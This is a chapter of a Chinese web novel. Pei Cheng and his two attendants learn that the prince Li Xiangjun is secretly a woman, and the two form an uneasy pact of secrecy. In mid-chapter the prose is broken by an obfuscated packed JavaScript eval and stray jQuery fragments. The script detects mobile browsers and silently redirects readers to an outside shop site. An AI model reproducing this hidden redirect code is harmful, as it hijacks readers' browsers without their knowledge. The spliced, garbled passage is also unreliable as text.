“没想到太子居然会是……”
飞雨一下捂住飞星的嘴。
这样天大的秘密,哪怕是在荒郊野岭也怕被人偷听了去。
兄弟两互相瞪着眼看了好一会,才慢慢把这则骇人听闻的信息消化下去。
不过忍了又忍,飞星还是忍不住小声道:“那我们之前还……还给太子使了那么多绊子,你说这冤假错案的,大水冲了龙王庙啊!好在太子命大,这要是死了,咱不是白忙!”
飞雨难得没有抬杠,因为飞星这次说的是大实话。
要不是太子命大,她早死了!
飞星又骨碌转了转眼,瞟见那裹着家主大氅枕在家主腿上,还闭着眼睛昏睡的太子,狠狠打了个激灵。
虽然现在已经知道太子是女人,但这才更可怕的事,因为她完全没有没有一丁点女儿家柔软的心肠。
不但心狠手辣,还杀人不眨眼!
飞星不由担忧起来: “我们知道这个秘密会被太子杀人灭口的吧!”
“那是肯定的,你嘴巴这么大,太子醒来第一个灭的就是你。”
飞雨一点也不意外飞星会被灭口,淡定地用树枝拨动火灰,好让火苗不至于熄灭。
飞星倒在飞雨身上,哭丧道:“那也是,之前太子就想把我干掉,早知道就和那几只大鹅搞好关系……”
飞雨推开哭天喊地的飞星,朝前挑了挑眼,道:“那些都不重要,现在最重要的是家主,你没发现,家主看起来不对劲。”
“我的小命怎么就不重要了?”飞星不满地撅起嘴,但还是擦了擦眼泪,望向裴承,仔细观察一阵。
“确实不对劲。”
火堆旁,裴承垂眸静坐,已经有小半时辰没有挪动过,他的脸色瓷白,嘴唇却殷红,浅色的衣襟上还有星星点点的血迹。
飞星忽然想到一个再贴切不过的词——失魂落魄。
“上一次看见家主这个模样,还是南巫寨烧毁的那一日……”
两人坐在远处的石头上。
透过跳跃的火苗,他们眼中的裴承就好像栖身在火海里,正在被烈火焚烧。
六年前南巫寨那场大火,寨子彻底毁了,许多和他们兄弟差不多的孩子侥幸存活并成功逃了出来。
他们站在日光下,个个苍白似鬼,形销骨立。
获得自由那一刻首先涌上来的并不是欣喜,而是无边无际的茫然。
仿佛是一片忽然被风吹到陌生湖泊上的叶子,被水波推得打转,失去方向。
他们之中绝大部分都是自幼被送进南巫寨。
有些是被蛊师们捡到,有些是被人牙子拐骗,还有一些是被亲人卖进来换钱。
自进入南巫寨,他们就是掉进万丈深渊,再无自由的可能。
只有日复一日,年复一年流转在不同的毒窟里,被各种毒物折磨,然后无声无息地死去。
蛊师们只在乎他们能不能扛得住毒液,哪管他们识不识字,有没有学识,所以不会刻意去教他们什么。
以至于有一部分孩子最后连话都不会说,就像是鸡圈里养的鸡,麻木迟钝,只能任人宰割。
裴承是裴家的私生子。
他的状况要比其他人“好”许多,蛊师们对他寄以厚望,关照他的次数最多。
他们给他喂最毒的虫,在他垂死之际又把他治好。
要是换做其他人半死不活的时候早扔到“肥堆”穴,给虫子当食物了。
不但如此,还有一位穿着黑罩衣的奇怪男人偷偷来教他读书写字,也教他武艺技能。
没有人知道男人的名字,经历,甚至不知道他是如何进入防备森严的南巫寨,又是怎么避人耳目地离开。
那人要裴承叫他老师。
后来,他们虽发现了裴承与他老师的秘密,但没有人想去告密,因为有裴承在,最毒最痛的虫子都是他去试,而且他们也痛恨那些蛊师,又怎么会通风报信?
因为好奇,也是为消磨时光,他们死皮赖脸地去旁听,从“老师”的口里知道了很多外边有趣的事,也知道外面世界的辽阔与自由。
只是,老师死在南巫寨烧毁前一年的冬天里,此后再没有人会教他们功课和武艺。
裴承也再没有提起过老师。
南巫寨被烧,长安来的人救出他们,并告诉他们,从今往后可以回到普通人的村镇,开始新的生活。
普通人的生活。
是睡在温暖的房子里而不是湿冷的洞穴,是吃着米饭菜肉而不是虫浆毒兽,这对于南巫寨长大的孩子们是多大的诱惑。
他们在迷茫之后就迫不及待迈开脚,走入阳光中。
只有身后的裴承还在熊熊燃烧的寨子下,烧得发黑发红的木头随时会从上面掉下来,把他掩埋。
他就像失去栖息地的林鸟,无处可去,沉默之下是无助的嘶喊。
烈火噼啪,火星犹如天雨络绎不绝降落在他的肩头,他手腕上的绿色飘带随风飞扬,他的黑发也在张牙舞爪,青天白日之下都像个怪物。
即便像飞星这样神经大条的人都看出来,那一刻裴承一定是想要和南巫寨一起毁掉。
他虽然姓裴,但他是裴家的弃子。
无父无母,没有期望没有向往,只是一俱不知道为什么而活的行尸走肉。
飞星长长叹了口气,“要不是怀贤太子救了家主,家主早就不想活了。”
那时候,他们谁也不知道那位忽然率兵降临南巫寨的人是当朝太子,只当是长安来的什么大官儿。
他救下裴承,并告诉他。
——“假如真的不知道为什么而活,那便为我而活,我救了你性命,你应该要报答我。”
“差点报答变成报复,也难怪家主这么抑郁寡欢了,可谁能知道小太子才是怀贤太子的妹妹呢?他把秘密藏得太好了……”
“要是藏的不好,小太子早死八百回了,哪轮到我们。”
“说的也是,怀贤太子没想过要我们到长安来。”
“是不想我们发现这个秘密。”
两人对视一眼,越发觉得这个解释是正确的。
怀贤太子不想他们到长安,西南虽野蛮,长安也不安。
两人沉默了好一会,飞星又开口,“家主弄的那只鸡烤多久了?”
“快一个时辰。”
“……糟!要烤焦了!”
/
李相筠是被一阵香味勾醒的。
没办法,春香楼虽然不克扣娘子们胭脂水粉,但是吃食上委实有些小气。
她在楼里就没吃饱过饭。
她睁开眼,先看见裴承安静的喉结和精致的下巴,然后才是漫天的繁星。
她怎么在这?
好一会,她才想明白,是裴承带她离开了郸城,他们现在应该是暂留在城外某处林子里。
不管裴承有什么打算,他没有趁她昏迷把她丢掉,或者交给其他人,算是她赌对了。
接下来只要找机会和执金卫联系上,她才能算是真正的化险为夷。
李相筠正在认真盘算,偏肚子咕噜噜唱起空城计,引人注意。
裴承低下视线看向她。
李相筠立刻坐起身,盯着正在掰烤鸡腿的飞星,“我饿了。”
虽然在春香楼闹了一场,但张太守是个草包,毫无战斗力,所以她身上并没有负新伤,昏厥是因为前面的伤还没好全。
……大概。
其实李相筠也不明白自己的身体出了什么问题,无缘故地发热,无缘故地昏厥,兴许她应该找个大夫瞧瞧。
飞星把烤鸡整只端上来,放在干净的大叶子上递给她,瞅了眼她的反应,语气尽量像从前一样轻快:“殿下您醒的可正是时候,我跟您说,我们家主做饭可好吃了,您尝尝吧!”
李相筠忍不住挑了挑眉,回头问:“裴家主还会烤鸡?”
“嗯。”
裴承的话出乎意料的少,要是搁在以前,他必然会冷嘲热讽地说一些阴阳怪气的话,两人再唇枪舌剑一番,这才正常。
李相筠定定看了他一眼,无法判断出裴承究竟是作何想法。
烤鸡的味道确实不错,李相筠吃完一只鸡腿和一只鸡翅,又压了几个不知名的野果解腻,肠胃得到满足,她的心思才重新活络起来。
女扮男装是她最大的秘密,一旦被揭露,她将会失去所有的权利甚至性命。
得许诺裴承什么样的封口费才能够暂时稳住他?
高官爵位?金银财宝?
李相筠根本不知道裴承想要什么……等等,上一回他说“找一个真相,还一个恩情”,他要找什么真相,又是还什么人的恩情?
李相筠思来想去,似乎唯有这个可以做点文章,拿出来谈一谈。
但裴承却没有半点要和她谈条件的想法,几次她的眼神都怼上去了,裴承却避开了。
但是她不看的时候,又仿佛感觉有一道目光始终在她脸上。
李相筠这才发觉裴承变得很奇怪,就好像这个秘密不是她李相筠沉重的负担,反而是裴承的,实在令她费解。
“你到底想问什么,直接问就是了!”
如此这般好几次,就好像一把钝刀反复在拉割人的咽喉,李相筠终于忍不住猛地把脸一扭,直直对上裴承的视线。
飞星飞雨都坐在远处,她的声音不低不高,正好只够他们两人听见。
“说话!”
裴承开口:“我……”
他才说了好几个“我”字,忽然脸色微变,膝盖往下一沉,砰的一声单膝跪在地上。
他的手攥住胸前的衣服,冷汗沿着鬓角不断流下。
李相筠倏然站起来,走近他,“裴承?”
裴承倏然抓住她的手腕,抬起头,他的眼睛比火还要红艳,就像是两颗被灿日照亮的红宝石。
危险。
李相筠心里倏然冒出这个念头,也唯有这个念头。
可她的脚却好似被沉重的泥浆裹住,动弹不得。
因为裴承的眼睛告诉她,别动。
别动,别走,不要离开。
她不能动不能走,更不能离开。
就像是害怕惊醒一头野兽。
但,这究竟是什么?
裴承的手将她慢慢拉下,李相筠也缓缓蹲下,就好像无法违背他的意愿。
两人目光相对。
李相筠莫名咽了口唾沫。
裴承的脸如玉似瓷,光洁润白,但发丝眉毛黑如鸦羽,黑白之中那如渊的深目艳得逼目。
天地之间,还有什么能够比他的这双眼睛还要艳美、惑人吗?
李相筠没有动。
裴承的手往上抚在她的脸颊,而后沿着侧脸滑至咽喉,指头上的薄茧摩挲在她的皮肤上,既酥又痒,
有什么东西蠢蠢欲动,欲想与之共颤。
李相筠想要弄明白,眼睛错也不错地盯着裴承。
裴承的唇角流出了鲜血。
而她的心脏跳得好快。
快得像是迫在眉睫的死亡瞬间。
飞星和飞雨冲上前,拉开李相筠。
一个道:“殿下不要看家主的眼睛。”
另一个道:“殿下交给我们处理,去旁边休息吧!”
李相筠的视线被两人遮挡住,无法看清后面裴承的状况,但是身体的那股奇怪的冲动已经消散。
虽然她也很好奇裴承身上到底发生了什么,但是飞星飞雨如临大敌的模样让她意识到现在不问为好。
裴承的秘密?
难不成是南巫寨把他变成了一个怪物?
揣着各种想法,李相筠靠着树不敢睡去,一直牢牢盯着裴承那边的方向,直到月上中天,她才迷迷糊糊闭上眼,不知是什么时候,依稀感觉到有人在她面前蹲下,伸手想要触碰她,却没有吵醒她。
“……为什么,是你。”
为什么是我?
李相筠的眼皮变得沉重,已经再也无法抬起来,就这般浑浑噩噩睡了去。
天擦亮,一辆马车连带着十几名裴家的侍卫已经候在路边,也不知道裴承是从来没召唤来的。
甚至还带来一套给李相筠换洗的衣物。
只是女装。
“郸城太守死了,李世勋用不了多久时间就会查到当夜是臣携带一名女郎离城而去,倘若短短时间里,臣身边就换了一名郎君,恐怕会怀疑到殿下头上。”裴承走到她身后。
李相筠放下衣物回头,打量他的脸。
裴承已经恢复正常了。
“那之后呢?”
她总不能一直穿着女装在裴承身边,哪怕带着面纱,只要熟悉的人见到她的眉眼,总会发现其中蹊跷之处。
“等到一个闹市停车,再由飞星穿着女装下去,让人看清他的脸即可。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244731|145793||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
飞星在远处听见了,连忙抬手指着自己的脸,满脸的疑惑。
显然他的主子在事先并没有跟他通过气,他还不知道自己新多了一项男扮女装的任务。
李相筠在马车里换好衣裙,但她不会梳女子的头发,扒拉了半天,最后还是在脑袋上扭出一个男子发髻,用一只带着流苏的花钗固定了事。
她昨夜听见附近有水流动的声音,打算去水边简单洗漱一下,不然若有还没有擦干净的脂粉粘在皮肤上,她的脸会像花猫一样可笑。
一拉开车帘,裴承就站在马车下,朝上望来,晨曦照亮他幽深的眸眼,蒙上一层奇异的亮光。
而后,他的视线抬高,落在她的头发上。
李相筠下意识摸了摸发髻,道:“我不会梳女子头发,很奇怪?”
谈不上奇怪,因为单看李相筠那张脸本来就偏柔美,原先裴承把她当男子看,故而会刻意忽略她的女相。
现在她上身穿杏色重蔓牡丹草纹织锦褙子,下边穿红白拼色十二破裙,外罩了件厚实带绒毛的披袄,如此花团锦簇之下,活脱脱就是一位从华堂走出来的千金贵女。
裴承一时怔然,但很快他就在李相筠目不转睛的注视下回过神,转身自然道:“下来吧,臣帮殿下梳。”
李相筠坐在水边干净的石头上,手里是一块刚拧干的帕子,她用帕子擦拭着脸和脖颈。
裴承就站在她身后,为她梳理发丝。
李相筠头发乌黑柔亮,只是因为时常要做男装发髻,需要修短打薄,故而比寻常女子的头发短上不少。
裴承手掌捧起那些发丝,用玉梳子把扭缠的地方慢慢梳顺,动作轻柔。
李相筠盯着眼前的小河。
水面不断被鱼儿撞出涟漪,一圈还没荡开,就被水流缓缓带走,流淌的水面上还有他们模糊相叠的影子。
真奇怪,他们明明是死对头,现在却摆出一副“岁月静好”的模样。
李相筠浑身不自在,就好像被无数只蚂蚁爬上了身。
她和裴承怎么会处成这样的关系?
想想都让人恶寒,赶紧找话打破安静。
“你……你怎么连女子的头发都会梳啊?”
裴承微低着头,呼吸若有似乎地拂过她的发顶,绒发轻晃,漾出一抹痒意。
就好像一根绒羽轻轻刮过心脏。
他“嗯”了声,道:“小的时候,帮我娘梳过。”
娘?
李相筠飞快回想,从金宝查出来的资料可知裴承被送去南巫寨的时候六岁,那他和母亲分开也不会超过这个岁数。
他的母亲裴六娘与人私通生下了他,而后为了不被家族惩罚,也可能是为了保护他选择出逃。
但西南地界的混乱与野蛮,离开家族,孤儿寡母要生活的艰险困阻可想而知。
“你母亲应当很爱你吧……”提到母亲,李相筠想起来卫婕妤,不由一笑,“我母妃从前对我也很好,可是后来卫家出事,她就想杀死我。”
两边都是血脉相连的亲人,但卫婕妤选择的是卫家。
对于李相筠的话,裴承不置可否,只问:“殿下在铜矿洞里见到了卫家人?”
李相筠手里把玩着流苏钗,“裴家主神通广大,还有什么是不知道的?”
“若臣真的神通广大,又岂会不知殿下的真实身份?”
李相筠蓦然把钗子滑到手掌心握紧,一个扭身,扯住裴承的衣襟猛拽下来,钗尖抵住他薄弱的咽喉。
“你有没有想过,有些事情不知道反而更好?”
两人的脸只隔着一个拳头的距离,鼻息交融,仿佛亲密无间,只是远处的人看不清,在他们中间还有个危险的利器。
“怀贤太子的死裴家不敢说完全没有干系,但是,臣并不是殿下要找的那个罪魁祸首。”这是裴承第一次在她面前说起自己与怀贤太子的关系。
李相筠手指微松,随即又拧起眉抓紧他,“你与裴家又有何区别?”
“裴家不在乎长安龙椅上坐的是什么人,但臣在乎。”裴承毫不在乎抵住要害的钗子,就好像知道李相筠不会下手。
话说到这份上,李相筠怎能听不懂其中的深意,只是微诧异事到如今,他居然没有嫌弃她的女儿身,还想要让她登上皇位不成?
她又不是真正的皇子。
李相筠道:“你想如何?”
“我为殿下保守秘密,殿下信我……忠心无二。”
“忠心不二这四个字说出来,裴少保自己都不带笑的吗?”
李相筠觉得要不是裴承脑子坏了,就是她脑子坏了。
“殿下不是给臣喂了毒药吗?为何还不信臣的忠心?”
这下轮到李相筠哑口无言。
她不能自己拆台说那只是颗普通且劣等的糖丸吧?
虽然,裴承或许早已经看穿她的把戏。
但这场戏他们还要演下去。
坐回马车,李相筠搂着手炉闭目养神,两个时辰后,他们抵达离郸城不远的安城。
坏事传千里,昨夜郸城发生的事比他们还早抵达,街头巷尾都在议论。
“肯定是冤魂索命来了!要不然人怎么可能淹死在自家的鲤鱼池呢?那鲤鱼池水还不过膝盖!”
“那春香楼也是鬼怪作祟?”
“错不了!春香楼那么多人就杀他一个,就是冤有头债有主!”路人斩钉截铁。
李相筠睁开眼,揉了揉发胀的鬓角。
都传得什么乱七八糟的。
马蹄声越来越响,那些嘈杂的议论声被抛在后面。
李相筠手指敲在手炉上,张太守死了,接下来只要……
车帘忽然被掀开,裴承的脸出现在眼前,李相筠抱紧手炉,警惕道:“做什么?”
“殿下放宽心,臣绝不不会把殿下卖了。”
裴承递进来一顶帷帽。
李相筠是因为冷不丁见到正在盘算的正主所以才受到惊吓,再让裴承这么一宽慰,愈发觉得自己果然阴险狠毒。
但她很快又释怀了。
处于这样的状况,小心行事又有什么错呢?
裴承再怎么承诺,又不可能挖出心来给她看,就好比她现在表面言笑晏晏,但心底却还在计划如何把他们这几个知情者解决掉。
由己度人,裴承心底究竟什么打算,只有他自己清楚。
她又岂能放心。